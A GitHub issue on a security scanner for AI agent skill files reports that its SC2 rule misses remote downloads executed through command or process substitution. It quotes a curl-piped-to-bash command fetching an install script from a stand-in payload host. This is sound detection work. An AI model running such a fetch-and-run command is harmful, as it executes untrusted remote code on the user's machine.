You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
SC2 misses downloads executed through command or process substitution #1018
SC2 flags curl https://payload.example/install.sh | bash as HIGH, but the same fetch-and-run written with a substitution gets no SC2 finding:
A skill whose SKILL.md has only the first line in a bash block scans with score 0 and no issues (skillspector scan <dir> --no-llm --format json, main at 1cd5a1d).
SC2_CODE_PATTERNS only covers the pipe and -o file && sh forms. _SC3_SUBSTITUTION_EXECUTOR already describes which substitutions get executed (SC3 uses it for decoder chains), so SC2 can reuse it. I have a fix with tests and will open a PR.
Activity